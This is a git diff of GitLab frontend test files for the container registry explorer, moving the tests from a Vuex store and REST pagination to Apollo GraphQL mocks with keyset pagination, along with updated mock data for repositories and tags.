+ ({ canDelete, status, state }) => {
+ mountComponent({ item: { ...item, canDelete, status } });
+
+ expect(findDeleteBtn().props('disabled')).toBe(state);
},
);
});
@@ -155,11 +166,13 @@ describe('Image List Row', () => {
describe('tags count text', () => {
it('with one tag in the image', () => {
- mountComponent({ item: { ...item, tags_count: 1 } });
+ mountComponent({ item: { ...item, tagsCount: 1 } });
+
expect(findTagsCount().text()).toMatchInterpolatedText('1 Tag');
});
it('with more than one tag in the image', () => {
- mountComponent({ item: { ...item, tags_count: 3 } });
+ mountComponent({ item: { ...item, tagsCount: 3 } });
+
expect(findTagsCount().text()).toMatchInterpolatedText('3 Tags');
});
});
diff --git a/spec/frontend/registry/explorer/components/list_page/image_list_spec.js b/spec/frontend/registry/explorer/components/list_page/image_list_spec.js
index 03ba6ad7f80..54befc9973a 100644
--- a/spec/frontend/registry/explorer/components/list_page/image_list_spec.js
+++ b/spec/frontend/registry/explorer/components/list_page/image_list_spec.js
@@ -1,29 +1,25 @@
import { shallowMount } from '@vue/test-utils';
-import { GlPagination } from '@gitlab/ui';
+import { GlKeysetPagination } from '@gitlab/ui';
import Component from '~/registry/explorer/components/list_page/image_list.vue';
import ImageListRow from '~/registry/explorer/components/list_page/image_list_row.vue';
-import { imagesListResponse, imagePagination } from '../../mock_data';
+import { imagesListResponse, pageInfo as defaultPageInfo } from '../../mock_data';
describe('Image List', () => {
let wrapper;
const findRow = () => wrapper.findAll(ImageListRow);
- const findPagination = () => wrapper.find(GlPagination);
+ const findPagination = () => wrapper.find(GlKeysetPagination);
- const mountComponent = () => {
+ const mountComponent = (pageInfo = defaultPageInfo) => {
wrapper = shallowMount(Component, {
propsData: {
- images: imagesListResponse.data,
- pagination: imagePagination,
+ images: imagesListResponse,
+ pageInfo,
},
});
};
- beforeEach(() => {
- mountComponent();
- });
-
afterEach(() => {
wrapper.destroy();
wrapper = null;
@@ -31,10 +27,14 @@ describe('Image List', () => {
describe('list', () => {
it('contains one list element for each image', () => {
- expect(findRow().length).toBe(imagesListResponse.data.length);
+ mountComponent();
+
+ expect(findRow().length).toBe(imagesListResponse.length);
});
it('when delete event is emitted on the row it emits up a delete event', () => {
+ mountComponent();
+
findRow()
.at(0)
.vm.$emit('delete', 'foo');
@@ -44,19 +44,41 @@ describe('Image List', () => {
describe('pagination', () => {
it('exists', () => {
+ mountComponent();
+
expect(findPagination().exists()).toBe(true);
});
- it('is wired to the correct pagination props', () => {
- const pagination = findPagination();
- expect(pagination.props('perPage')).toBe(imagePagination.perPage);
- expect(pagination.props('totalItems')).toBe(imagePagination.total);
- expect(pagination.props('value')).toBe(imagePagination.page);
+ it.each`
+ hasNextPage | hasPreviousPage | isVisible
+ ${true} | ${true} | ${true}
+ ${true} | ${false} | ${true}
+ ${false} | ${true} | ${true}
+ `(
+ 'when hasNextPage is $hasNextPage and hasPreviousPage is $hasPreviousPage: is $isVisible that the component is visible',
+ ({ hasNextPage, hasPreviousPage, isVisible }) => {
+ mountComponent({ hasNextPage, hasPreviousPage });
+
+ expect(findPagination().exists()).toBe(isVisible);
+ expect(findPagination().props('hasPreviousPage')).toBe(hasPreviousPage);
+ expect(findPagination().props('hasNextPage')).toBe(hasNextPage);
+ },
+ );
+
+ it('emits "prev-page" when the user clicks the back page button', () => {
+ mountComponent({ hasPreviousPage: true });
+
+ findPagination().vm.$emit('prev');
+
+ expect(wrapper.emitted('prev-page')).toEqual([[]]);
});
- it('emits a pageChange event when the page change', () => {
- findPagination().vm.$emit(GlPagination.model.event, 2);
- expect(wrapper.emitted('pageChange')).toEqual([[2]]);
+ it('emits "next-page" when the user clicks the forward page button', () => {
+ mountComponent({ hasNextPage: true });
+
+ findPagination().vm.$emit('next');
+
+ expect(wrapper.emitted('next-page')).toEqual([[]]);
});
});
});
diff --git a/spec/frontend/registry/explorer/components/list_page/project_empty_state_spec.js b/spec/frontend/registry/explorer/components/list_page/project_empty_state_spec.js
index 73746c545cb..3a27cf1923c 100644
--- a/spec/frontend/registry/explorer/components/list_page/project_empty_state_spec.js
+++ b/spec/frontend/registry/explorer/components/list_page/project_empty_state_spec.js
@@ -3,36 +3,35 @@ import { shallowMount, createLocalVue } from '@vue/test-utils';
import { GlSprintf } from '@gitlab/ui';
import { GlEmptyState } from '../../stubs';
import projectEmptyState from '~/registry/explorer/components/list_page/project_empty_state.vue';
-import * as getters from '~/registry/explorer/stores/getters';
+import { dockerCommands } from '../../mock_data';
const localVue = createLocalVue();
localVue.use(Vuex);
describe('Registry Project Empty state', () => {
let wrapper;
- let store;
+ const config = {
+ repositoryUrl: 'foo',
+ registryHostUrlWithPort: 'bar',
+ helpPagePath: 'baz',
+ twoFactorAuthHelpLink: 'barBaz',
+ personalAccessTokensHelpLink: 'fooBaz',
+ noContainersImage: 'bazFoo',
+ };
beforeEach(() => {
- store = new Vuex.Store({
- state: {
- config: {
- repositoryUrl: 'foo',
- registryHostUrlWithPort: 'bar',
- helpPagePath: 'baz',
- twoFactorAuthHelpLink: 'barBaz',
- personalAccessTokensHelpLink: 'fooBaz',
- noContainersImage: 'bazFoo',
- },
- },
- getters,
- });
wrapper = shallowMount(projectEmptyState, {
localVue,
- store,
stubs: {
GlEmptyState,
GlSprintf,
},
+ provide() {
+ return {
+ config,
+ ...dockerCommands,
+ };
+ },
});
});
diff --git a/spec/frontend/registry/explorer/components/registry_breadcrumb_spec.js b/spec/frontend/registry/explorer/components/registry_breadcrumb_spec.js
index d730bfcde24..fb0b98ba004 100644
--- a/spec/frontend/registry/explorer/components/registry_breadcrumb_spec.js
+++ b/spec/frontend/registry/explorer/components/registry_breadcrumb_spec.js
@@ -32,10 +32,6 @@ describe('Registry Breadcrumb', () => {
{ name: 'baz', meta: { nameGenerator } },
];
- const state = {
- imageDetails: { foo: 'bar' },
- };
-
const findDivider = () => wrapper.find('.js-divider');
const findRootRoute = () => wrapper.find({ ref: 'rootRouteLink' });
const findChildRoute = () => wrapper.find({ ref: 'childRouteLink' });
@@ -56,9 +52,6 @@ describe('Registry Breadcrumb', () => {
routes,
},
},
- $store: {
- state,
- },
},
});
};
@@ -87,7 +80,6 @@ describe('Registry Breadcrumb', () => {
});
it('the link text is calculated by nameGenerator', () => {
- expect(nameGenerator).toHaveBeenCalledWith(state);
expect(nameGenerator).toHaveBeenCalledTimes(1);
});
});
@@ -111,7 +103,6 @@ describe('Registry Breadcrumb', () => {
});
it('the link text is calculated by nameGenerator', () => {
- expect(nameGenerator).toHaveBeenCalledWith(state);
expect(nameGenerator).toHaveBeenCalledTimes(2);
});
});
diff --git a/spec/frontend/registry/explorer/mock_data.js b/spec/frontend/registry/explorer/mock_data.js
index da5f1840b5c..992d880581a 100644
--- a/spec/frontend/registry/explorer/mock_data.js
+++ b/spec/frontend/registry/explorer/mock_data.js
@@ -1,110 +1,211 @@
-export const headers = {
- 'X-PER-PAGE': 5,
- 'X-PAGE': 1,
- 'X-TOTAL': 13,
- 'X-TOTAL_PAGES': 1,
- 'X-NEXT-PAGE': null,
- 'X-PREVIOUS-PAGE': null,
-};
-export const reposServerResponse = [
+export const imagesListResponse = [
{
- destroy_path: 'path',
- id: '123',
- location: 'location',
- path: 'foo',
- tags_path: 'tags_path',
+ __typename: 'ContainerRepository',
+ id: 'gid://gitlab/ContainerRepository/26',
+ name: 'rails-12009',
+ path: 'gitlab-org/gitlab-test/rails-12009',
+ status: null,
+ location: '0.0.0.0:5000/gitlab-org/gitlab-test/rails-12009',
+ canDelete: true,
+ createdAt: '2020-11-03T13:29:21Z',
+ tagsCount: 18,
+ expirationPolicyStartedAt: null,
},
{
- destroy_path: 'path_',
- id: '456',
- location: 'location_',
- path: 'bar',
- tags_path: 'tags_path_',
+ __typename: 'ContainerRepository',
+ id: 'gid://gitlab/ContainerRepository/11',
+ name: 'rails-20572',
+ path: 'gitlab-org/gitlab-test/rails-20572',
+ status: null,
+ location: '0.0.0.0:5000/gitlab-org/gitlab-test/rails-20572',
+ canDelete: true,
+ createdAt: '2020-09-21T06:57:43Z',
+ tagsCount: 1,
+ expirationPolicyStartedAt: null,
},
];
-export const registryServerResponse = [
- {
- name: 'centos7',
- short_revision: 'b118ab5b0',
- revision: 'b118ab5b0e90b7cb5127db31d5321ac14961d097516a8e0e72084b6cdc783b43',
- total_size: 679,
- layers: 19,
- location: 'location',
- created_at: 1505828744434,
- destroy_path: 'path_',
+export const pageInfo = {
+ hasNextPage: true,
+ hasPreviousPage: true,
+ startCursor: 'eyJpZCI6IjI2In0',
+ endCursor: 'eyJpZCI6IjgifQ',
+ __typename: 'ContainerRepositoryConnection',
+};
+
+export const graphQLImageListMock = {
+ data: {
+ project: {
+ __typename: 'Project',
+ containerRepositoriesCount: 2,
+ containerRepositories: {
+ __typename: 'ContainerRepositoryConnection',
+ nodes: imagesListResponse,
+ pageInfo,
+ },
+ },
},
- {
- name: 'centos6',
- short_revision: 'b118ab5b0',
- revision: 'b118ab5b0e90b7cb5127db31d5321ac14961d097516a8e0e72084b6cdc783b43',
- total_size: 679,
- layers: 19,
- location: 'location',
- created_at: 1505828744434,
+};
+
+export const graphQLEmptyImageListMock = {
+ data: {
+ project: {
+ __typename: 'Project',
+ containerRepositoriesCount: 2,
+ containerRepositories: {
+ __typename: 'ContainerRepositoryConnection',
+ nodes: [],
+ pageInfo,
+ },
+ },
},
-];
+};
-export const imagesListResponse = {
- data: [
- {
- path: 'foo',
- location: 'location',
- destroy_path: 'path',
+export const graphQLEmptyGroupImageListMock = {
+ data: {
+ group: {
+ __typename: 'Group',
+ containerRepositoriesCount: 2,
+ containerRepositories: {
+ __typename: 'ContainerRepositoryConnection',
+ nodes: [],
+ pageInfo,
+ },
},
- {
- path: 'bar',
- location: 'location-2',
- destroy_path: 'path-2',
+ },
+};
+
+export const deletedContainerRepository = {
+ id: 'gid://gitlab/ContainerRepository/11',
+ status: 'DELETE_SCHEDULED',
+ path: 'gitlab-org/gitlab-test/rails-12009',
+ __typename: 'ContainerRepository',
+};
+
+export const graphQLImageDeleteMock = {
+ data: {
+ destroyContainerRepository: {
+ containerRepository: {
+ ...deletedContainerRepository,
+ },
+ errors: [],
+ __typename: 'DestroyContainerRepositoryPayload',
+ },
+ },
+};
+
+export const graphQLImageDeleteMockError = {
+ data: {
+ destroyContainerRepository: {
+ containerRepository: {
+ ...deletedContainerRepository,
+ },
+ errors: ['foo'],
+ __typename: 'DestroyContainerRepositoryPayload',
},
- ],
- headers,
+ },
+};
+
+export const containerRepositoryMock = {
+ id: 'gid://gitlab/ContainerRepository/26',
+ name: 'rails-12009',
+ path: 'gitlab-org/gitlab-test/rails-12009',
+ status: null,
+ location: 'host.docker.internal:5000/gitlab-org/gitlab-test/rails-12009',
+ canDelete: true,
+ createdAt: '2020-11-03T13:29:21Z',
+ updatedAt: '2020-11-03T13:29:21Z',
+ tagsCount: 13,
+ expirationPolicyStartedAt: null,
+ project: {
+ visibility: 'public',
+ __typename: 'Project',
+ },
};
-export const tagsListResponse = {
- data: [
- {
- name: 'centos6',
- revision: 'b118ab5b0e90b7cb5127db31d5321ac14961d097516a8e0e72084b6cdc783b43',
- short_revision: 'b118ab5b0',
- size: 19,
- layers: 10,
- location: 'location',
- path: 'bar:centos6',
- created_at: '2020-06-29T10:23:51.766+00:00',
- destroy_path: 'path',
- digest: 'sha256:1ab51d519f574b636ae7788051c60239334ae8622a9fd82a0cf7bae7786dfd5c',
+export const tagsPageInfo = {
+ __typename: 'PageInfo',
+ hasNextPage: true,
+ hasPreviousPage: true,
+ startCursor: 'MQ',
+ endCursor: 'MTA',
+};
+
+export const tagsMock = [
+ {
+ digest: 'sha256:2cf3d2fdac1b04a14301d47d51cb88dcd26714c74f91440eeee99ce399089062',
+ location: 'host.docker.internal:5000/gitlab-org/gitlab-test/rails-12009:beta-24753',
+ path: 'gitlab-org/gitlab-test/rails-12009:beta-24753',
+ name: 'beta-24753',
+ revision: 'c2613843ab33aabf847965442b13a8b55a56ae28837ce182627c0716eb08c02b',
+ shortRevision: 'c2613843a',
+ createdAt: '2020-11-03T13:29:38+00:00',
+ totalSize: 105,
+ canDelete: true,
+ __typename: 'ContainerRepositoryTag',
+ },
+ {
+ digest: 'sha256:7f94f97dff89ffd122cafe50cd32329adf682356a7a96f69cbfe313ee589791c',
+ location: 'host.docker.internal:5000/gitlab-org/gitlab-test/rails-12009:beta-31075',
+ path: 'gitlab-org/gitlab-test/rails-12009:beta-31075',
+ name: 'beta-31075',
+ revision: 'df44e7228f0f255c73e35b6f0699624a615f42746e3e8e2e4b3804a6d6fc3292',
+ shortRevision: 'df44e7228',
+ createdAt: '2020-11-03T13:29:32+00:00',
+ totalSize: 104,
+ canDelete: true,
+ __typename: 'ContainerRepositoryTag',
+ },
+];
+
+export const graphQLImageDetailsMock = override => ({
+ data: {
+ containerRepository: {
+ ...containerRepositoryMock,
+
+ tags: {
+ nodes: tagsMock,
+ pageInfo: { ...tagsPageInfo },
+ __typename: 'ContainerRepositoryTagConnection',
+ },
+ __typename: 'ContainerRepositoryDetails',
+ ...override,
},
- {
- name: 'test-tag',
- revision: 'b969de599faea2b3d9b6605a8b0897261c571acaa36db1bdc7349b5775b4e0b4',
- short_revision: 'b969de599',
- size: 19,
- layers: 10,
- path: 'foo:test-tag',
- location: 'location-2',
- created_at: '2020-06-29T10:23:51.766+00:00',
- digest: 'sha256:1ab51d519f574b636ae7788051c60239334ae8622a9fd82a0cf7bae7736dfd5c',
+ },
+});
+
+export const graphQLImageDetailsEmptyTagsMock = {
+ data: {
+ containerRepository: {
+ ...containerRepositoryMock,
+ tags: {
+ nodes: [],
+ pageInfo: {
+ __typename: 'PageInfo',
+ hasNextPage: false,
+ hasPreviousPage: false,
+ startCursor: '',
+ endCursor: '',
+ },
+ __typename: 'ContainerRepositoryTagConnection',
+ },
+ __typename: 'ContainerRepositoryDetails',
},
- ],
- headers,
+ },
};
-export const imagePagination = {
- perPage: 10,
- page: 1,
- total: 14,
- totalPages: 2,
- nextPage: 2,
+export const graphQLDeleteImageRepositoryTagsMock = {
+ data: {
+ destroyContainerRepositoryTags: {
+ deletedTagNames: [],
+ errors: [],
+ __typename: 'DestroyContainerRepositoryTagsPayload',
+ },
+ },
};
-export const imageDetailsMock = {
- id: 1,
- name: 'rails-32309',
- path: 'gitlab-org/gitlab-test/rails-32309',
- project_id: 1,
- location: '0.0.0.0:5000/gitlab-org/gitlab-test/rails-32309',
- created_at: '2020-06-29T10:23:47.838Z',
- cleanup_policy_started_at: null,
- delete_api_path: 'http://0.0.0.0:3000/api/v4/projects/1/registry/repositories/1',
+export const dockerCommands = {
+ dockerBuildCommand: 'foofoo',
+ dockerPushCommand: 'barbar',
+ dockerLoginCommand: 'bazbaz',
};
diff --git a/spec/frontend/registry/explorer/pages/details_spec.js b/spec/frontend/registry/explorer/pages/details_spec.js
index c09b7e0c067..d307dfe590c 100644
--- a/spec/frontend/registry/explorer/pages/details_spec.js
+++ b/spec/frontend/registry/explorer/pages/details_spec.js
@@ -1,5 +1,8 @@
-import { shallowMount } from '@vue/test-utils';
-import { GlPagination } from '@gitlab/ui';
+import { shallowMount, createLocalVue } from '@vue/test-utils';
+import { GlKeysetPagination } from '@gitlab/ui';
+import VueApollo from 'vue-apollo';
+import createMockApollo from 'jest/helpers/mock_apollo_helper';
+import waitForPromises from 'helpers/wait_for_promises';
import Tracking from '~/tracking';
import component from '~/registry/explorer/pages/details.vue';
import DeleteAlert from '~/registry/explorer/components/details_page/delete_alert.vue';
@@ -8,25 +11,28 @@ import DetailsHeader from '~/registry/explorer/components/details_page/details_h
import TagsLoader from '~/registry/explorer/components/details_page/tags_loader.vue';
import TagsList from '~/registry/explorer/components/details_page/tags_list.vue';
import EmptyTagsState from '~/registry/explorer/components/details_page/empty_tags_state.vue';
-import { createStore } from '~/registry/explorer/stores/';
+
+import getContainerRepositoryDetailsQuery from '~/registry/explorer/graphql/queries/get_container_repository_details.query.graphql';
+import deleteContainerRepositoryTagsMutation from '~/registry/explorer/graphql/mutations/delete_container_repository_tags.mutation.graphql';
+
import {
- SET_MAIN_LOADING,
- SET_TAGS_LIST_SUCCESS,
- SET_TAGS_PAGINATION,
- SET_INITIAL_STATE,
- SET_IMAGE_DETAILS,
-} from '~/registry/explorer/stores/mutation_types';
-
-import { tagsListResponse, imageDetailsMock } from '../mock_data';
+ graphQLImageDetailsMock,
+ graphQLImageDetailsEmptyTagsMock,
+ graphQLDeleteImageRepositoryTagsMock,
+ containerRepositoryMock,
+ tagsMock,
+ tagsPageInfo,
+} from '../mock_data';
import { DeleteModal } from '../stubs';
+const localVue = createLocalVue();
+
describe('Details Page', () => {
let wrapper;
- let dispatchSpy;
- let store;
+ let apolloProvider;
const findDeleteModal = () => wrapper.find(DeleteModal);
- const findPagination = () => wrapper.find(GlPagination);
+ const findPagination = () => wrapper.find(GlKeysetPagination);
const findTagsLoader = () => wrapper.find(TagsLoader);
const findTagsList = () => wrapper.find(TagsList);
const findDeleteAlert = () => wrapper.find(DeleteAlert);
@@ -36,15 +42,46 @@ describe('Details Page', () => {
const routeId = 1;
+ const breadCrumbState = {
+ updateName: jest.fn(),
+ };
+
+ const cleanTags = tagsMock.map(t => {
+ const result = { ...t };
+ // eslint-disable-next-line no-underscore-dangle
+ delete result.__typename;
+ return result;
+ });
+
+ const waitForApolloRequestRender = async () => {
+ await waitForPromises();
+ await wrapper.vm.$nextTick();
+ };
+
const tagsArrayToSelectedTags = tags =>
tags.reduce((acc, c) => {
acc[c.name] = true;
return acc;
}, {});
- const mountComponent = ({ options } = {}) => {
+ const mountComponent = ({
+ resolver = jest.fn().mockResolvedValue(graphQLImageDetailsMock()),
+ mutationResolver = jest.fn().mockResolvedValue(graphQLDeleteImageRepositoryTagsMock),
+ options,
+ config = {},
+ } = {}) => {
+ localVue.use(VueApollo);
+
+ const requestHandlers = [
+ [getContainerRepositoryDetailsQuery, resolver],
+ [deleteContainerRepositoryTagsMutation, mutationResolver],
+ ];
+
+ apolloProvider = createMockApollo(requestHandlers);
+
wrapper = shallowMount(component, {
- store,
+ localVue,
+ apolloProvider,
stubs: {
DeleteModal,
},
@@ -55,17 +92,17 @@ describe('Details Page', () => {
},
},
},
+ provide() {
+ return {
+ breadCrumbState,
+ config,
+ };
+ },
...options,
});
};
beforeEach(() => {
- store = createStore();
- dispatchSpy = jest.spyOn(store, 'dispatch');
- dispatchSpy.mockResolvedValue();
- store.commit(SET_TAGS_LIST_SUCCESS, tagsListResponse.data);
- store.commit(SET_TAGS_PAGINATION, tagsListResponse.headers);
- store.commit(SET_IMAGE_DETAILS, imageDetailsMock);
jest.spyOn(Tracking, 'event');
});
@@ -74,85 +111,90 @@ describe('Details Page', () => {
wrapper = null;
});
- describe('lifecycle events', () => {
- it('calls the appropriate action on mount', () => {
- mountComponent();
- expect(dispatchSpy).toHaveBeenCalledWith('requestImageDetailsAndTagsList', routeId);
- });
- });
-
describe('when isLoading is true', () => {
- beforeEach(() => {
- store.commit(SET_MAIN_LOADING, true);
+ it('shows the loader', () => {
mountComponent();
- });
-
- afterEach(() => store.commit(SET_MAIN_LOADING, false));
- it('shows the loader', () => {
expect(findTagsLoader().exists()).toBe(true);
});
it('does not show the list', () => {
+ mountComponent();
+
expect(findTagsList().exists()).toBe(false);
});
it('does not show pagination', () => {
+ mountComponent();
+
expect(findPagination().exists()).toBe(false);
});
});
describe('when the list of tags is empty', () => {
- beforeEach(() => {
- store.commit(SET_TAGS_LIST_SUCCESS, []);
- mountComponent();
- });
+ const resolver = jest.fn().mockResolvedValue(graphQLImageDetailsEmptyTagsMock);
+
+ it('has the empty state', async () => {
+ mountComponent({ resolver });
+
+ await waitForApolloRequestRender();
- it('has the empty state', () => {
expect(findEmptyTagsState().exists()).toBe(true);
});
- it('does not show the loader', () => {
+ it('does not show the loader', async () => {
+ mountComponent({ resolver });
+
+ await waitForApolloRequestRender();
+
expect(findTagsLoader().exists()).toBe(false);
});
- it('does not show the list', () => {
+ it('does not show the list', async () => {
+ mountComponent({ resolver });
+
+ await waitForApolloRequestRender();
+
expect(findTagsList().exists()).toBe(false);
});
});
describe('list', () => {
- beforeEach(() => {
+ it('exists', async () => {
mountComponent();
- });
- it('exists', () => {
+ await waitForApolloRequestRender();
+
expect(findTagsList().exists()).toBe(true);
});
- it('has the correct props bound', () => {
+ it('has the correct props bound', async () => {
+ mountComponent();
+
+ await waitForApolloRequestRender();
+
expect(findTagsList().props()).toMatchObject({
isMobile: false,
- tags: store.state.tags,
+ tags: cleanTags,
});
});
describe('deleteEvent', () => {
describe('single item', () => {
let tagToBeDeleted;
- beforeEach(() => {
- [tagToBeDeleted] = store.state.tags;
+ beforeEach(async () => {
+ mountComponent();
+
+ await waitForApolloRequestRender();
+
+ [tagToBeDeleted] = cleanTags;
findTagsList().vm.$emit('delete', { [tagToBeDeleted.name]: true });
});
- it('open the modal', () => {
+ it('open the modal', async () => {
expect(DeleteModal.methods.show).toHaveBeenCalled();
});
- it('maps the selection to itemToBeDeleted', () => {
- expect(wrapper.vm.itemsToBeDeleted).toEqual([tagToBeDeleted]);
- });
-
it('tracks a single delete event', () => {
expect(Tracking.event).toHaveBeenCalledWith(undefined, 'click_button', {
label: 'registry_tag_delete',
@@ -161,18 +203,18 @@ describe('Details Page', () => {
});
describe('multiple items', () => {
- beforeEach(() => {
- findTagsList().vm.$emit('delete', tagsArrayToSelectedTags(store.state.tags));
+ beforeEach(async () => {
+ mountComponent();
+
+ await waitForApolloRequestRender();
+
+ findTagsList().vm.$emit('delete', tagsArrayToSelectedTags(cleanTags));
});
it('open the modal', () => {
expect(DeleteModal.methods.show).toHaveBeenCalled();
});
- it('maps the selection to itemToBeDeleted', () => {
- expect(wrapper.vm.itemsToBeDeleted).toEqual(store.state.tags);
- });
-
it('tracks a single delete event', () => {
expect(Tracking.event).toHaveBeenCalledWith(undefined, 'click_button', {
label: 'bulk_registry_tag_delete',
@@ -183,40 +225,77 @@ describe('Details Page', () => {
});
describe('pagination', () => {
- beforeEach(() => {
+ it('exists', async () => {
mountComponent();
- });
- it('exists', () => {
+ await waitForApolloRequestRender();
+
expect(findPagination().exists()).toBe(true);
});
- it('is wired to the correct pagination props', () => {
- const pagination = findPagination();
- expect(pagination.props('perPage')).toBe(store.state.tagsPagination.perPage);
- expect(pagination.props('totalItems')).toBe(store.state.tagsPagination.total);
- expect(pagination.props('value')).toBe(store.state.tagsPagination.page);
+ it('is hidden when there are no more pages', async () => {
+ mountComponent({ resolver: jest.fn().mockResolvedValue(graphQLImageDetailsEmptyTagsMock) });
+
+ await waitForApolloRequestRender();
+
+ expect(findPagination().exists()).toBe(false);
});
- it('fetch the data from the API when the v-model changes', () => {
- dispatchSpy.mockResolvedValue();
- findPagination().vm.$emit(GlPagination.model.event, 2);
- expect(store.dispatch).toHaveBeenCalledWith('requestTagsList', {
- page: 2,
+ it('is wired to the correct pagination props', async () => {
+ mountComponent();
+
+ await waitForApolloRequestRender();
+
+ expect(findPagination().props()).toMatchObject({
+ hasNextPage: tagsPageInfo.hasNextPage,
+ hasPreviousPage: tagsPageInfo.hasPreviousPage,
});
});
+
+ it('fetch next page when user clicks next', async () => {
+ const resolver = jest.fn().mockResolvedValue(graphQLImageDetailsMock());
+ mountComponent({ resolver });
+
+ await waitForApolloRequestRender();
+
+ findPagination().vm.$emit('next');
+
+ expect(resolver).toHaveBeenCalledWith(
+ expect.objectContaining({ after: tagsPageInfo.endCursor }),
+ );
+ });
+
+ it('fetch previous page when user clicks prev', async () => {
+ const resolver = jest.fn().mockResolvedValue(graphQLImageDetailsMock());
+ mountComponent({ resolver });
+
+ await waitForApolloRequestRender();
+
+ findPagination().vm.$emit('prev');
+
+ expect(resolver).toHaveBeenCalledWith(
+ expect.objectContaining({ first: null, before: tagsPageInfo.startCursor }),
+ );
+ });
});
describe('modal', () => {
- it('exists', () => {
+ it('exists', async () => {
mountComponent();
+
+ await waitForApolloRequestRender();
+
expect(findDeleteModal().exists()).toBe(true);
});
describe('cancel event', () => {
- it('tracks cancel_delete', () => {
+ it('tracks cancel_delete', async () => {
mountComponent();
+
+ await waitForApolloRequestRender();
+
findDeleteModal().vm.$emit('cancel');
+
expect(Tracking.event).toHaveBeenCalledWith(undefined, 'cancel_delete', {
label: 'registry_tag_delete',
});
@@ -224,45 +303,62 @@ describe('Details Page', () => {
});
describe('confirmDelete event', () => {
+ let mutationResolver;
+
+ beforeEach(() => {
+ mutationResolver = jest.fn().mockResolvedValue(graphQLDeleteImageRepositoryTagsMock);
+ mountComponent({ mutationResolver });
+
+ return waitForApolloRequestRender();
+ });
describe('when one item is selected to be deleted', () => {
- beforeEach(() => {
- mountComponent();
- findTagsList().vm.$emit('delete', { [store.state.tags[0].name]: true });
- });
+ it('calls apollo mutation with the right parameters', async () => {
+ findTagsList().vm.$emit('delete', { [cleanTags[0].name]: true });
+
+ await wrapper.vm.$nextTick();
- it('dispatch requestDeleteTag with the right parameters', () => {
findDeleteModal().vm.$emit('confirmDelete');
- expect(dispatchSpy).toHaveBeenCalledWith('requestDeleteTag', {
- tag: store.state.tags[0],
- });
+
+ expect(mutationResolver).toHaveBeenCalledWith(
+ expect.objectContaining({ tagNames: [cleanTags[0].name] }),
+ );
});
});
describe('when more than one item is selected to be deleted', () => {
- beforeEach(() => {
- mountComponent();
- findTagsList().vm.$emit('delete', tagsArrayToSelectedTags(store.state.tags));
- });
+ it('calls apollo mutation with the right parameters', async () => {
+ findTagsList().vm.$emit('delete', { ...tagsArrayToSelectedTags(tagsMock) });
+
+ await wrapper.vm.$nextTick();
- it('dispatch requestDeleteTags with the right parameters', () => {
findDeleteModal().vm.$emit('confirmDelete');
- expect(dispatchSpy).toHaveBeenCalledWith('requestDeleteTags', {
- ids: store.state.tags.map(t => t.name),
- });
+
+ expect(mutationResolver).toHaveBeenCalledWith(
+ expect.objectContaining({ tagNames: tagsMock.map(t => t.name) }),
+ );
});
});
});
});
describe('Header', () => {
- it('exists', () => {
+ it('exists', async () => {
mountComponent();
+
+ await waitForApolloRequestRender();
expect(findDetailsHeader().exists()).toBe(true);
});
- it('has the correct props', () => {
+ it('has the correct props', async () => {
mountComponent();
- expect(findDetailsHeader().props()).toEqual({ imageName: imageDetailsMock.name });
+
+ await waitForApolloRequestRender();
+ expect(findDetailsHeader().props('image')).toMatchObject({
+ name: containerRepositoryMock.name,
+ project: {
+ visibility: containerRepositoryMock.project.visibility,
+ },
+ });
});
});
@@ -273,20 +369,25 @@ describe('Details Page', () => {
};
const deleteAlertType = 'success_tag';
- it('exists', () => {
+ it('exists', async () => {
mountComponent();
+
+ await waitForApolloRequestRender();
expect(findDeleteAlert().exists()).toBe(true);
});
- it('has the correct props', () => {
- store.commit(SET_INITIAL_STATE, { ...config });
+ it('has the correct props', async () => {
mountComponent({
options: {
data: () => ({
deleteAlertType,
}),
},
+ config,
});
+
+ await waitForApolloRequestRender();
+
expect(findDeleteAlert().props()).toEqual({ ...config, deleteAlertType });
});
});
@@ -298,30 +399,38 @@ describe('Details Page', () => {
};
describe('when expiration_policy_started is not null', () => {
+ let resolver;
+
beforeEach(() => {
- store.commit(SET_IMAGE_DETAILS, {
- ...imageDetailsMock,
- cleanup_policy_started_at: Date.now().toString(),
- });
+ resolver = jest.fn().mockResolvedValue(
+ graphQLImageDetailsMock({
+ expirationPolicyStartedAt: Date.now().toString(),
+ }),
+ );
});
- it('exists', () => {
- mountComponent();
+ it('exists', async () => {
+ mountComponent({ resolver });
+
+ await waitForApolloRequestRender();
expect(findPartialCleanupAlert().exists()).toBe(true);
});
- it('has the correct props', () => {
- store.commit(SET_INITIAL_STATE, { ...config });
+ it('has the correct props', async () => {
+ mountComponent({ resolver, config });
- mountComponent();
+ await waitForApolloRequestRender();
expect(findPartialCleanupAlert().props()).toEqual({ ...config });
});
it('dismiss hides the component', async () => {
- mountComponent();
+ mountComponent({ resolver });
+
+ await waitForApolloRequestRender();
expect(findPartialCleanupAlert().exists()).toBe(true);
+
findPartialCleanupAlert().vm.$emit('dismiss');
await wrapper.vm.$nextTick();
@@ -331,11 +440,22 @@ describe('Details Page', () => {
});
describe('when expiration_policy_started is null', () => {
- it('the component is hidden', () => {
+ it('the component is hidden', async () => {
mountComponent();
+ await waitForApolloRequestRender();
expect(findPartialCleanupAlert().exists()).toBe(false);
});
});
});
+
+ describe('Breadcrumb connection', () => {
+ it('when the details are fetched updates the name', async () => {
+ mountComponent();
+
+ await waitForApolloRequestRender();
+
+ expect(breadCrumbState.updateName).toHaveBeenCalledWith(containerRepositoryMock.name);
+ });
+ });
});
diff --git a/spec/frontend/registry/explorer/pages/index_spec.js b/spec/frontend/registry/explorer/pages/index_spec.js
index 1dc5376cacf..b5f718b3e61 100644
--- a/spec/frontend/registry/explorer/pages/index_spec.js
+++ b/spec/frontend/registry/explorer/pages/index_spec.js
@@ -1,16 +1,13 @@
import { shallowMount } from '@vue/test-utils';
import component from '~/registry/explorer/pages/index.vue';
-import { createStore } from '~/registry/explorer/stores/';
describe('List Page', () => {
let wrapper;
- let store;
const findRouterView = () => wrapper.find({ ref: 'router-view' });
const mountComponent = () => {
wrapper = shallowMount(component, {
- store,
stubs: {
RouterView: true,
},
@@ -18,7 +15,6 @@ describe('List Page', () => {
};
beforeEach(() => {
- store = createStore();
mountComponent();
});
diff --git a/spec/frontend/registry/explorer/pages/list_spec.js b/spec/frontend/registry/explorer/pages/list_spec.js
index b24422adb03..7d32a667011 100644
--- a/spec/frontend/registry/explorer/pages/list_spec.js
+++ b/spec/frontend/registry/explorer/pages/list_spec.js
@@ -1,5 +1,7 @@
-import { shallowMount } from '@vue/test-utils';
+import { shallowMount, createLocalVue } from '@vue/test-utils';
+import VueApollo from 'vue-apollo';
